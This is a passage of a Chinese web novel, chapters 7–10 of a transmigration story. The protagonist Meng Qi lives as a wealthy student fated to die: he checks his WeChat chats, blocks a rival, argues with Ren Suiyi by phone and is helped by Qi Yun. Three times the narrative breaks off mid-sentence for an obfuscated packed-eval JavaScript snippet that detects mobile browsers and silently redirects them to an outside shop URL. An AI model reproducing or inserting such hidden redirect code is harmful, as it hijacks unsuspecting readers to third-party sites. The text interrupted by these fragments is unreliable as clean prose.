当然,贺聪也能带给孟弃这种温暖的感觉,但是有不一样的地方,因为贺聪的性子急,耐性又差,是很容易发脾气的一个人,因此在面对贺聪的时候,孟弃虽然也开心,但开心之余却多了一份小心翼翼的提防,他总害怕自己做错事情惹贺聪不高兴,而一旦惹到贺聪,贺聪总要训他一顿才算完。 但是眼下孟弃可是泥菩萨过河——自身难保,所以即使他再不忍心看祁运难过,祁运也必须难过一会儿,毕竟他不是真正的书中“孟弃”,既不会唱歌也不懂乐曲,要是真让祁运对着他唱歌,唱得好还行,到时候他可以闭着眼睛无脑吹,但万一唱得不好呢,他可说不出来个子丑寅卯,那不就分分钟露馅了么! 现在他心疼酷似王博远的祁运,露馅之后谁心疼他啊,不把他送去研究院做切片研究就算好的了。 思前想后几秒钟,孟弃便狠下心继续端着姿态冷着声音对祁运说,“唱歌的事情稍后再说吧,我现在不光不记得,也没有听歌的心情。” 祁运的脸色变得更白了。 孟弃收回视线,转而看向地面,继续说,“既然钱德安已经告诉你该做什么了,那就开始吧,你把你知道的全都说出来。” 顿了顿,孟弃又加了句,“不会让你白说的,按一个小时一千块来算吧。” “不过我的预算是三千块。” 过惯了苦日子的孟弃暂时还学不会书中“孟弃”的挥金如土,本来他想完全按照书中“孟弃”拿钱办事的行事风格来处理这件事情,但话说出口的瞬间他就开始心疼钱了,所以“三千块的预算”不自觉就脱口而出。 好在说这句话的时候孟弃的声音依然是冷的,不会让人察觉到他的小心思,反而会无心插柳柳成荫地给祁运施加压力。 祁运神色一紧,连忙点头称是,并顺着孟弃眼神示意的方向坐到了一旁的沙发上,做好了讲故事的准备。 但在祁运开口说话前,梁文开先上前一步躬身对孟弃说,“孟少,您把您的手机给我吧,我给您瞧瞧。” 对哦,差点忘了手机! 就目前的情况来看,手机里面的内容可是比祁运等下要讲的内容更重要,毕竟在穿过来之前孟弃是看过那本书的,因此对于今天之前书中“孟弃”身上发生过的一些大事,不能说百分之百了解吧,但百分之七十的了解程度还是有的,余下的那百分之三十的障碍,一方面存在于他不认识书中人,没办法把出现在他面前的人和他看过的书中角色对上号,另一方面在于作者写的都是比较大的人生轨迹,一些在作者看来细枝末节没必要提及的点,在书中人的人生里却是真实存在且不可磨灭的,孟弃觉得他得搞清楚这些才行,不然他将永远是局外人,永远成不了书中“孟弃”。 虽然他并不想成为谁,只想做自己。 但为了活命,或者说为了能够在回到现实世界之前更好地在这本书中的世界里活下去,他必须这么做。 想通这一点,孟弃赶紧把上衣口袋里一直揣着的手机拿出来递给梁文开,并顺手拍了拍身边的位置,示意梁文开坐到他旁边来,他要在手机开锁的第一时间看到手机里面的内容。 梁文开因为孟弃的动作眼睛一亮,先是小心翼翼地挨着孟弃坐下,然后便麻利地打开一直提在手里的工具包,三下五除二就帮着孟弃把手机给打开了。 用时之短,让被晾在一旁的祁运压根找不到插话的机会,而且手机开锁之后,孟弃便一头扎进手机里去了,祁运更没啥机会说话。他不是很开心地瞥了梁文开一眼,得了便宜的梁文开只当没看见。 接过手机的瞬间,孟弃直奔微信,计划是先翻看聊天内容,再去浏览联系人的朋友圈。 书中“孟弃”的微信聊天界面上一共置顶着三个人。 不出意外的,最上边的那个置顶人是任随一,由此可见任随一在书中“孟弃”心里的地位之重,同时也证明了书中“孟弃”就是个24K纯金恋爱脑。 书中“孟弃”和任随一的对话内容停在两天前,最后一句话是书中“孟弃”发给任随一的,他说:“哥!你说话啊!”并且顺着这条留言往上翻,翻了十多条,全都是书中“孟弃”的“自言自语”,到最后才翻出来任随一的唯一一句回复:“你再胡闹下去就别叫我哥了。” 这段对话的前因后果是没有的,前因被书中“孟弃”清空了,后果嘛,孟弃刚来,还不知道故事会怎么发展。 从这段对话里找不出来有用的信息,孟弃遗憾着摇头,退出来之后又去翻第二个置顶人的聊天对话框。 这第二个置顶人竟然是书中“孟弃”的后妈李锦桐,看得孟弃一阵唏嘘,心想被蒙在鼓里的书中“孟弃”算不算是认贼作父啊?怪可怜的…… 一边想着一边翻看这俩人的聊天内容,手下动作一直没停。 这段聊天内容也没太多有用的信息,因为大都是李锦桐对书中“孟弃”的嘘寒问暖,偶尔夹着一两条书中“孟弃”乖巧的回复:“谢谢妈妈,好的妈妈,我知道了妈妈……” 虽然明知道这个李锦桐不是个好人,但看着她和书中“孟弃”有爱的互动,孟弃还是打心底里生出一丝羡慕来,因为他也曾渴望有个妈妈可以对他嘘寒问暖,也曾幻想过对着一个温柔如水的女人喊一声妈妈。 这个李锦桐满足了他对妈妈的一点点幻想。 因为这段聊天记录,在没见到李锦桐之前,孟弃先对这位作者笔下心口不一口蜜腹剑的女人产生了一点点好感,至少从她和书中“孟弃”的对话上来看,她像是真的在关心疼爱着书中“孟弃”。 第三个置顶人既在孟弃的意料之中,又在孟弃的意料之外,是书中“孟弃”同父异母的弟弟孟凯泽,书中“孟弃”给他备注的名字是小泽。 说起这个孟凯泽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467781|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟弃记得他在那本书中出现的频次特别低,几乎可以说是边缘人,只偶尔出现在孟家人的口中,至少在那本书的前半部分是这样的,所以孟弃对他的印象不深,唯一有印象的一件事情还是和书中“孟弃”有关的。 李锦桐把书中”孟弃“送去了贵族学校,却把孟凯泽送去了普通学校,别人不理解李锦桐为什么要这么做,李锦桐解释说原本孟家的一切都该独属于书中“孟弃”,理应让书中“孟弃”享受到最好的,不能因为她的到来打破这一规则,而她自己的儿子,用她的话来说就是,“饿不着他就可以。” 因为这件事情,李锦桐在孟家的口碑直线上升,而且大概是出于补偿的心理吧,除了她自己之外的所有孟家人,包括书中“孟弃”在内,也都下意识地对孟凯泽好,有什么好东西都会想着他。 带着一颗好奇心,孟弃快速浏览完了书中“孟弃”和孟凯泽的聊天记录。 和作者预设的差不多,这兄弟俩的关系确实很亲近,而且大都是孟凯泽主动亲近书中“孟弃”,他每天都会哥哥长哥哥短地和书中“孟弃”分享他在生活中遇到的趣事,偶尔也会撒个娇卖个萌让书中“孟弃”接济他一下,给他转点儿生活费。 孟弃在每次的转账记录上停留的时间最长,每看一次就羡慕一次有钱人的生活,孟凯泽轻飘飘一句“哥,我相中一双鞋子”,书中“孟弃”就能立马给他转过去一万块钱,而这一万块钱,需要孟弃和他的爷爷奶奶攒上一年两年才能攒够。 书中“孟弃”和孟凯泽的聊天记录停留在昨天晚上九点钟,最后一条消息是孟凯泽发给书中“孟弃”的,他说:“哥,我想和同学出去玩儿几天,但是妈不让,不给我路费。”附带一个【委委屈屈】表情包。 那个时间点正是书中“孟弃”在床上和任随一叠罗汉的时候,压根不可能回复孟凯泽的消息,后来孟弃过来后就一直忙着逃窜,而且也打不开手机,就更不会回复孟凯泽的消息。 这会儿手机打开了,孟弃看着最后这条留言发了一会儿呆,然后就鬼使神差地点开了转账功能,给对面转过去一万块钱,想了想又加了句:“去吧,注意安全,不够再给哥要。” 孟弃没出去旅游过,不知道旅游一次要花多少钱,他只能按照自己的猜想再加上书中“孟弃”的行为习惯转出去这一万块……希望不会显得小气吧。 正当孟弃想要退出书中“孟弃”和孟凯泽的聊天记录,继续去看他和别人的聊天记录时,屏幕最上方突然就跳出来一个新消息提醒,吓了孟弃一大跳,心一咯噔,脑子还来不及思考呢,手就下意识给点开了。 新的消息竟然是江柏溪发过来的,他在质问书中“孟弃”:“你又做什么惹到随哥了?!我打他电话他一直不接,微信也不回我……你赶快去给他道歉!” 孟弃:…… 不是说江柏溪避书中“孟弃”如蛇蝎吗?干什么又主动联系他?还有这叹号,江柏溪真的是温柔随和性格好的存在吗?孟弃表示怀疑。 当然也有可能是这位白月光真的着急了,所以才会暴走。 不过,惹到任随一的原因是可以随便说的吗?况且任随一都警告过他不能告诉给江柏溪了…… 孟弃撇了撇嘴巴,直接就把江柏溪给拉黑了。 8. 第 8 章 在他搞清楚书中“孟弃”的死究竟是人为谋害还是自然死亡之前,如果他想以书中“孟弃”的身份在这个世界里力求自保苟活到最后,孟弃觉得他有必要从现在开始就提高自我防御,主动远离一切可能让他陷入危险的人和事。 而且他觉着目前出场的这几个人都挺危险的,且危险系数最大的当属江柏溪,其次是书中“孟弃”的后妈李锦桐,最后是任随一,他得先想办法离得他们远远的。 虽然当初在看这部小说的时候孟弃一直对白月光人设的江柏溪路好,但不知道为什么,此时此刻的他就是觉得这个江柏溪最危险,或许是源于“大自然中越是漂亮的事物其毒性越大”的规则在作怪的原因吧。 无论怎样,他们仨有一个算一个都得离远些,最好是能老死不相往来。 打定主意的孟弃一点儿都不后悔刚刚拉黑江柏溪的行为,甚至还有些跃跃欲试着想把李锦桐和任随一给一并拉黑喽。 当然,冲动是魔鬼,在没有找到合适的理由之前也不能轻举妄动,万一打草惊蛇把“他”的死期给整提前了呢?那可就完蛋了! 如果在这个世界里死了之后能回到现实还行,那他一定会花式噶,立马噶,就算是大罗神仙来了都拦不住他。 但万一不能呢?万一在这里死了就是死了呢? 他可不敢赌这种可能性,所以一切未明之前他要想方设法保住他的命!他要回去见他的爷爷奶奶和朋友们! 心里乱做一团的孟弃在接下来的时间里又快速浏览了一遍书中“孟弃”和其他友人的聊天记录,以求能找到于他有利的信息。 可惜的是结果依然不理想,希望越大失望就越大吧,他没能从中获取多少对他有用的信息,但好在也不是一无所获的,因为除了聊天记录之外还有朋友圈在,孟弃便挑挑拣拣着从那些人晒过的自拍照里找出相对有记忆点的照片下载下来,然后对应着把下载好的照片设置成他和那个人的聊天背景图,方便他随时随地做区分记忆。 把这些全都做完后时间已经过去了近两个小时。 长时间的神经高度紧绷使得孟弃异常疲累,除此之外还有不可对外言说的生理痛在作祟……总之双重作用之下,孟弃他都快要难受死了,很想停下来休息一会儿。 但他不能。 往常都说时间就是金钱,不可浪费一分一厘,现在的时间对于孟弃来说可比金钱重要太多了,时间于他而言就是随时都可能清零的生命值啊,他更不能浪费一分一秒! 通过他对这本书的理解,再加上刚才祁运提到的那些,前前后后分析下来,孟弃越来越觉得书中“孟弃”的死疑点重重,真不像是自然死亡的。 希望是他多虑了吧,因为他一点儿都不想树立那么多的假想敌,齁累不说,他觉得他的智商也不太够用。 默默叹了一口气的孟弃先停住了他的胡思乱想,然后快速转动了两下僵硬的脖子,把视线移到安静地在一旁坐了半天的祁运身上,示意祁运可以开口说话了。 听一听原住民是怎么说的吧,说不定会有不一样的收获呢。 被晾在一旁近两个小时的祁运脸上没有显露出一丝一毫的不耐烦,反而在孟弃看向他的第一时间就眉眼弯弯地笑了笑,并微微向前欠了下身体,双手交叠于膝盖之上,同时认真地回望孟弃,开始仔仔细细地把他知道的那些事情一点一点地讲给孟弃听。 在祁运的口中,孟弃“看”到了一个和他在那本小说里看到的完全不一样的书中“孟弃”。 孟弃所了解的那个书中“孟弃”是嚣张跋扈的中二少年,最爱做的事情是一言不合就要干翻全世界,但祁运口中的这个书中“孟弃”却是意气风发的热血少年,他不仅不嚣张,反而还有着善解人意乐于助人的优秀品德。 祁运越讲越激动,眼睛里闪着光,一整个真情实感,而孟弃却越听越困惑,眉心都皱成了一个深深的川字,那样子简直就如堕五里雾中,他甚至一度怀疑他看到的那本书是篡改了故事情节之后的盗版书…… 为了防止听得多了之后造成记忆混乱,影响他对这个世界做出判断,孟弃不得不出声打断祁运,“今天先说到这里吧,我脑子有点晕,你先让我消化消化。” 这祁运给书中“孟弃”开的滤镜真的是太大了,已经不是当着他的面儿拍他的马屁这么简单,十句话里得有九句带有浓厚的主观臆断,暗戳戳表达着他对书中“孟弃”的崇拜之情……忒没有参考价值。 因为祁运口中的书中“孟弃”和孟弃自己看过的那个书中“孟弃”出入太大,让孟弃听得又心累又心慌,既不相信祁运说的,又怕祁运说的是真的,矛盾之下的孟弃此刻已经陷入了一种迷茫状态里,不知道下一步该咋办了。 孟弃表现得很痛苦,又让祁运和梁文开同时慌了神,他俩一左一右地搀扶住孟弃,忙问他怎么了?还好吗?要不要去医院? 要是孟家大少爷一不小心在他们这里出了状况,那他们这个场子就等着关门大吉吧!赚钱不赚钱的先两说,蛋哥不扒他俩一层皮就算是幸运的了。 祁运和梁文开对视一眼,皆是惴惴不安。 “不用,你俩先出去吧,让我自己待会儿。”孟弃闭着眼睛半躺在沙发靠背上,然后朝祁运和梁文开摆手,示意他俩先出去,他要一个人静一静。 祁运听后一脸的着急之色,张口想说什么,却被梁文开拉住了,用眼神示意他闭嘴,别惹孟弃不高兴。 而孟弃这边一直闭着眼睛,并没看到祁运和梁文开之间的小动作,待关门声响过之后他才慢慢地睁开了眼睛,之后便盯着天花板上那盏昏黄色的吊灯愣神。 祁运说得对不对?要不要重新找个人再问问? 他好不容易才找准了一点儿飞扬跋扈的感觉,又要去假扮意气风发的少年了吗? 但什么时候对着什么人飞扬跋扈,又什么时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467782|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候对着什么人意气风发?谁来告诉他? 祁运跟他说的大都是书中“孟弃”在学校里的表现,这部分内容确实是没在那本书里体现过的,是不是可以理解为书中“孟弃”在学校里的时候是意气风发的,在校外对着不是他的同学和老师的人时就飞扬跋扈? 头很疼啊…… 这人怎么还有两幅面孔呢? 而这两幅面孔又都是他不擅长,甚至可以说是不了解的,那他到底该怎么伪装?这不是成心为难他么…… 谁来抱抱他啊,他真的要碎掉啦! …… 百思无果的孟弃最后得出来一个结论,那就是:得尽快找到离开这里的办法才行! 可是说起来容易做起来难,这个办法要怎么样才能找到呢? 孟弃就这么一边胡乱想着一边迷迷糊糊睡着了,直至五个小时后被一阵急促的电话铃声吵醒。 掀开不知道是谁披在他身上的毛绒毯子,孟弃在看清楚是谁打过来的电话的那一刻头皮都要炸开了,然后再看到时间又过去了五个多小时之后他更是差点儿没原地崩溃掉! 从昨天晚上到现在,细算下来二十四个小时马上就要走到终点,但是他还没有吃药呢! 这是什么人间大BUG! 明知道书中“孟弃”是怎么死的他还能睡着,且一睡就是五个多小时,该说他是心大呢还是无知者无畏…… 孟弃简直都要被自己给蠢哭了。 瞬间清醒过来的他哆哆嗦嗦着把药从口袋里拿出来,根本来不及找水或者饮料往下送服,囫囵嚼了两下后直接就把药当饭给吞了下去。 然后成功被苦成苦瓜脸。 就如同他此刻看不见未来的糟糕心情。 电话还在契而不舍地响着,被烦到极致的孟弃忍下把手机丢出去的冲动划开接听键,然后闷沉沉气呼呼地冲着手机听筒“喂”了一声。 任随一明显带着怒气的声音随即便传了过来,“这么晚了你还在钱德安那?!” 我在哪里和你有什么关系,你不是让我滚了嘛,孟弃不敢对着拥有主角光环的任随一大喊大叫,只敢暗自嘟哝两句,借此发泄自己的郁闷情绪。 要不是这个任随一,他孟弃,一个铁骨铮铮大好儿郎,用得着吃那种苦哈哈的药嘛! 不冲他发火不代表他没有怨气好吧。 “你又在装什么哑巴,说话!” 任随一在电话那头暴怒道,声音之大,一时间震得毫无防备的孟弃耳朵嗡嗡响,而且心脏都跟着砰砰跳了好几下,差点儿没把他吓死,下一秒一句怂怂的“在呢”不经他的同意就从他的嘴巴里窜了出来。 孟弃:…… 这么怂的表现绝非他本意,他原来是想像拉黑江柏溪一样干净利落地拉黑任随一来着…… 果然拥有主角光环的人就是厉害,是像他这种随时都有可能下线的小配角忤逆不了的。 9. 第 9 章 估计任随一也没料到孟弃会软塌塌地回他一句“在呢”而不是任性地抢白他,因此一时之间都愣住了,顿了好几秒之后才又放轻了声音对孟弃说,“你这一天天的像什么样子,赶紧回学校。” 回…… 行,学校可以回,不知道学校在哪儿他可以上网搜,但请问嘞,他的宿舍在几零几?他要去问谁? 孟弃憋着一肚子怨气不敢发泄出来,心里的苦楚更是无处去说,堵得他挺难受,所以接下来说话时的语气也不怎么好就是了。 当然这已经是他努力克制后的结果,他语气生硬地提醒任随一道,“宿舍又不是我家开的,太晚了啊,宿管阿姨不让进。” 谁知这一句话又把态度好不容易软化了那么一点儿的任随一给惹毛了,他出离愤怒,训斥孟弃的声音也一声高过一声,“你也知道太晚了,早干嘛去了?!你还记得你是个学生?!整天不上课就知道往钱德安那里跑,像话吗?!你看看最近你都跟着他们那群人学了些什么鬼东西!我是不是告诉过你再跟着他们胡闹就不要叫我哥!” 不让叫就不叫呗,又不是亲的…… 任随一的声音震得孟弃拿着手机的右手都麻嗖嗖的,他不得不把手机拿远些,好解救自己的耳朵。 但他倒是没有因为任随一的训斥而生气,因为他知道任随一训斥的是谁,压根不是他,他不过是个替罪羊。 只是在知道了任随一是以如此暴躁的方式训斥书中“孟弃”之后,他对书中“孟弃”的精神状态产生了怀疑,心想就这还能喜欢得不得了?书中“孟弃”怕不是个抖M吧?! 不过话又说回来,这任随一训斥书中“孟弃”的感觉似曾相识呢,和贺聪训斥他的时候非常像,念头一转到这里,孟弃又开始忍不住地思念起他的亲人和朋友来。 算起来他都已经失踪一天一夜了,也不知道他的爷爷奶奶现在怎么样?估计找他都找疯了吧,搞不好眼睛都已经哭肿了。 孟弃的思绪越飘越远,半天没出声,任随一久久听不见孟弃的声音,又怒了,于是再次厉声催促孟弃赶紧说话,别装哑巴。 说说说,说什么呀,无话可说好吧! 孟弃烦躁地抓了一把头发,抿嘴的时候被嘴角残留的药渣苦了一个趔趄,导致他的心情更糟糕了,他深吸一口气,赌气回复任随一道,“我马上就走,立刻就走,以后再也不来了,行了吧!” “现在下楼,刚子在门口等着你,让他送你回学校。”说完这句话之后任随一便挂断了电话。 孟弃:…… 早说有人等不就好了,至于绕这么大一个弯子嘛,浪费那么多口水。 不过通过前后这一段对话,孟弃对任随一的性格有了进一步了解,这妥妥的就是刀子嘴豆腐心啊,特别是在书中“孟弃”坑了他一把之后他还能这么关心书中“孟弃”,不得不说任随一真的是大好人,倒是叫孟弃不知道接下来该怎么面对他了,想拉黑他的手也停在了他的名字上方,犹豫着要不要真的拉黑他。 就在犹豫不决之际,任随一给孟弃转了十万块钱过来,留言说让孟弃自己抽空去买几件衣服。 孟弃:…… 想起那一地被撕扯成条状差点儿都捡不起来的破衣烂衫,孟弃控制不住地抽搐了两下嘴角,然后身上该疼和不该疼的部位也隐隐泛起疼来。 他真的好想拉黑任随一啊…… 说走就走,反正孟弃自己也不喜欢吵吵嚷嚷的KTV环境,刚才能睡着也是因为他太累了。 下楼的过程中碰见了正给其他顾客送香槟的祁运,孟弃本打算点个头就错身走开,但想到之前盖在他身上的那块毛绒毯子,觉得还是有必要跟人家道声谢,于是他便喊住了祁运,谢谢他在他睡着之后送了毯子过来。 祁运眼睛一亮,“您怎么知道是我送过去的?” “大概是因为那块毯子的颜色吧。”粉红色的毛绒毯子,可可爱爱的,应该不会属于五大三粗的梁文开,倒是和祁运的装扮能配一套。 祁运笑得腼腆起来,“您猜对了,我喜欢粉红色,它是能让人一眼开心的颜色。” 一直以来孟弃没有特别喜欢的颜色,但他也觉得粉红色怪好看的,于是便点头认可了祁运,临走时又想起来他还不知道自己的宿舍在几楼,因此便犹豫了一下,再次开口问祁运,“你知道我的宿舍号吗?” 祁运愣了一瞬,接着回答,“知道,男生宿舍3号楼,3113。” “我的舍友……” 孟弃本来还想问问我的舍友都有谁来着,但觉得祁运大概也不清楚,毕竟能知道他在哪个宿舍就已经很厉害了,况且就算祁运恰巧知道,也告诉他了,那他也分不清谁是谁啊,所以最后他又换了种问法,“我有几个舍友?” “孟少您住的是单人间。” 哇哦,还能这样?!有钱人的世界未免太爽了吧! 孟弃微微挑眉,这有钱人的世界再一次刷新了他的认知,他以为再不济也得是四人间来着。 “据说是因为您的父亲曾资助过咱们学校搞科研,所以学校领导对您就格外照顾一些。”祁运一边说一边瞟了一眼左手手腕上的机械表,然后又回过头来对孟弃说,“孟少,要不您先在楼下等我一分钟,我忙完手上这单就送您回去?” 那倒不必,既然已经知道了他的宿舍位置且他住的还是单人间,孟弃就没什么可担心的了,于是他痛快地婉拒了祁运的提议,转身走开了。 刚走出大厅,脚边就滑过来一辆车,车头标是两个垒起来的M,虽然在现实生活中没见过这款车,但孟弃大概猜到了这就是传说中的迈巴赫,也是偶像小说里男主的标配车。 思忖间,这辆车的司机已经从驾驶室窜了出来,并一溜小跑着跑到孟弃跟前,先是点头哈腰地打了声招呼,然后又用最快的速度把后车门打开,毕恭毕敬地邀请孟弃上车。 孟弃被这一套操作整得很是心虚,同时也有种手脚都不知道往哪儿放的慌乱,他是真的很难适应这种被人时时刻刻供着的人设。 但为了活命,他得逼着自己适应。 叹口气后的孟弃努力维持着表情不变,对着这位叫刚子的司机道了一声谢之后就快速地钻进车里去了。 但他这声谢谢倒叫刚子真正慌乱起来,连声对着他说“不客气,没关系,应该的,下次您别这样,有事儿您只管吩咐我……” 孟弃:…… 刚子是表演型人格吧? 而且看样子有钱人大概都不会随便说谢谢。 当然也可能只是书中“孟弃”跋扈惯了,从来不轻易说谢谢,所以才把刚子吓成那样。 不管具体情况是怎样的,暂时他也无从得知,但刚子的失常倒是给他提了一个醒:针对书中“孟弃”这个人设来说,“谢谢”这两个字可不敢再随随便便说出口,要看时机,还要分对象。 一路无话,车里寂静得很,孟弃的困意很快又回来了,但就在他撑不住想要睡过去的时候,刚子却出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467783|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉他学校到了,孟弃一个激灵坐直身体,瞬间就清醒了过来,同时也做好了下车的准备。 但是门卫一看是他,很痛快地就给放了行,并且刚子也知道他的宿舍在哪儿,还直接把车子给开到他的宿舍楼下去了,被吵醒的宿管阿姨看见是他也没生气,反而笑着给他开了门,还一脸慈爱地问他,“小孟啊,怎么这么晚了才回来?” 孟弃懵懵地答道,“有事耽搁了,不好意思阿姨,耽误您睡觉了吧?” “不耽误不耽误,阿姨觉少,总共睡不了几个小时,倒是你啊,睡这么晚能行吗?小心明天上课时打瞌睡。阿姨记得你明天有早课的吧?” 有吗? 孟弃也不知道,只好打着哈哈回答说有吧,然后匆忙甩开热心肠的宿管阿姨,一口气跑上了三楼。 是不是有钱之后整个世界都会变得格外友善? 这一天遇到的人,除了任随一和江柏溪以外,都对孟弃特别好,好到让孟弃觉得不真实的程度,而这种好是小时候的他可望不可及的。 孟弃想不明白。 这样惊心动魄的一天也耗掉了他所有的精神气,到了宿舍之后他简直就是沾枕头就睡,连衣服都没来得及脱,想不明白的问题就更没机会想了。 半夜时分孟弃做了一个梦。 梦里他的爷爷奶奶一左一右地牵着他的手,看上去有点儿伤心。 当时他的脚边还立着他和贺聪、王博远一起买的那个同款拉杆箱,嘴里同他爷爷奶奶说着话,“您二老放心,我是去上大学又不是去外太空,丢不了的,而且过不了几天学校就会放国庆假,一放假我就回来,真没必要伤心。” “可得回来啊乖乖,还有,在学校里要和同学们搞好关系,别惹事,能忍咱就忍……” 梦里他的表情在听见这句话时变得开始不耐烦起来,“忍什么忍啊,那我不白长这么高个了。” “你这孩子…老话说得好啊,忍一时风平浪静……” “不对,爷爷,您那都是老黄历,现在是忍一时乳腺增生,男人也是有乳腺的!我才不忍,谁要是惹到我,非揍他丫的,揍得他满地找牙!” 爷爷奶奶同时无奈叹气,“你长大了,有自己的主意了,不需要爷爷奶奶管喽……” 孟弃想对他的爷爷奶奶说那个满脸不耐烦的人不是他,别被那人骗了,无论他长多大他都需要爷爷奶奶,一辈子都需要! 但是他的爷爷奶奶听不到,在他的梦里兀自伤心。 孟弃就这么被急醒了,醒来后望着眼前陌生的一切,忽然就悲从中来,呜呜咽咽着哭了小半天,都不知道什么时候哭睡的,第二天再次醒来时喜提一对大核桃般肿眼泡,给他无语到不行。 好在宿舍里有一台小冰箱,他听人说过冰敷可以消肿,于是便从冰箱里找出来一瓶罐装饮料贴在眼皮上,冰敷了二十多分钟才把肿眼泡给敷没了。 正当他打算收拾收拾然后找个人问问去哪儿上课的时候,有人敲响了他的宿舍门。 是谁? 突兀的敲门声吓得孟弃差点儿心梗。 他一边在心底祈祷敲门的这个人是他看过自拍照的,不然他真的会抓狂,一边忐忑不安地拉开了房门。 而门外,祁运正一脸微笑地站在那。 卸掉妆的祁运和王博远更像了,像得让孟弃想放声大哭。 在孟弃看来祁运的到来就是亲人给他送温暖来了,反正他偷偷地把祁运当成王博远也没人知道。 10. 第 10 章 为了立稳人设,孟弃拼命忍住心底的小雀跃,脸上装作若无其事的样子看向祁运,问他,“你怎么来了?” “我想着您可能也记不清楚上课的教室在哪儿,我来带您过去,”祁运边说边晃了晃提在手里的早餐,“回来的时候路过彭记粥铺,我还给您带了一份清粥。” “回来的时候?”孟弃让开门口的位置让祁运先进他的宿舍里等着,然后诧异地追问祁运,“你的意思是说你在钱德安那儿工作了一整夜啊?” 祁运不好意思地点头回答,“夜班给的钱多,况且白天我要上课的,也没时间去他那儿。” “哦,”孟弃接过祁运手里的清粥,并当着祁运的面儿打开,紧接着便有大米混合着蔬菜特有的清香味儿扑鼻而来,闻上去就很好喝的样子,一天两夜都没吃过东西的孟弃立马就被这股请香味儿给拿捏住了,迫不及待就先喝了一大口,待喝完之后才想起来问祁运,“你吃过早饭了吗?” 祁运顿了一下,接着摇头说,“还没。” “那怎么只买了一份?” “送完您之后我再去学校食堂里对付两口,”祁运再次不好意思起来,“这样的一碗粥要五十多块钱,我没舍得买两份。” 孟弃低头看粥,心想就这,连点儿肉腥都不带的就要五十多!抢钱呢!再好喝也不值这个价啊!这要是搁他们家,五十多能给他熬出来满满一大锅一模一样的。 他震惊于一碗清粥的价格,更震惊于祁运竟然对他这么好,舍得花这么多钱给他买一碗清粥,简直让他受宠若惊了。 从小到大无条件对他好的只有他的爷爷奶奶,到了初中之后才多了贺聪和王博远。而幼时饱受欺辱的成长经历致使他万分渴望善意,同时又让他对别人的示好无所适从,不知道该如何回馈别人才好。 当初贺聪和王博远就用了很长时间才让他明白了什么是友谊对等。 震惊过后的孟弃扫视了一遍宿舍,然后从不远处的书桌上拿过来一个白瓷杯,他把打包盒里的清粥一分为二,倒入白瓷杯一部分,之后把余下的那部分递给祁运,并对祁运说,“分你一半,我一个人喝不了这么多。” 孟弃学到的回馈方式就是把好东西分享给对他好的人,以真心换真心,将这份友谊维持下去。 当然前提是祁运是真的想和他做朋友,而不是另有所谋。 孟弃也不傻,知道书中“孟弃”的身份和身价在那儿摆着呢,只要他当一天的书中“孟弃”,就避免不了会有很多人抱着不同的目的接近他,试图从他身上捞到好处。 只是…希望祁运不是那样的人吧。 如果是也没办法,谁让祁运长得像王博远呢,大不了就让祁运图一图呗,反正现在的他有钱,就连粥都喝五十多块钱一份的呢! 看到孟弃递过来的清粥,祁运的眼里先是闪过不可置信的光,随即又被惊喜取代,他一边接过清粥一边开心地向孟弃道谢,“谢谢孟少,您真好。” “首先,这份粥是你买回来的,应该是我谢你,而不是你谢我,”孟弃示意祁运趁热喝粥,他自己也拿过白瓷杯趁热喝了两口,然后停下来看向祁运,老神在在地开口道,“其次,以后直接叫我的名字吧,别一口一个‘您’的称呼我,我又没比你大多少,听着老不得劲儿了。” 祁运闻言笑了起来,“您,不是,你没有我大,我的生日是3月17日,你的生日是6月16日,算起来我比你大整三个月。” 听到这里时孟弃直接傻眼,“你不是说咱俩以前都没说过话吗,你怎么连我的生日都知道啊?” 难道祁运还是校园百晓生?!孟弃大惑不解。 祁运盯着孟弃的眼睛看了两秒钟,然后迅速低下头去看向他手里的清粥,低声细语地解释道,“你是咱们学校里的大红人,应该没有人不知道你的生日。” 哦,原来如此。 孟弃先是暗自点头,然后又暗自咂舌,心想这书中“孟弃”也忒高调了吧,整出来的排场恁大呢,竟然全校人都知道他的生日,真是厉害!这场面大到已经超出他的想象了,可不是他小小一个i人能应付得来的啊,搞得他想原地打退堂鼓。 不过,还能再坚持坚持,因为有祁运主动站出来帮他! 孟弃悄悄地看向一旁沉默着喝粥的祁运,心想祁运大概就是上天派下来拯救他的天使吧!虽然穿到这本书里九个月之后很可能会死的他倒霉透了,但能遇见祁运,何尝不是一种幸运呢。 走在去阶梯教室的路上,周围遇见他的人都在对着他指指点点,孟弃低头检查了一遍自己的着装,再次确认一点儿问题都没有,于是便决定不再管他们,而是一脸坦然地继续跟着祁运的脚步往前走。 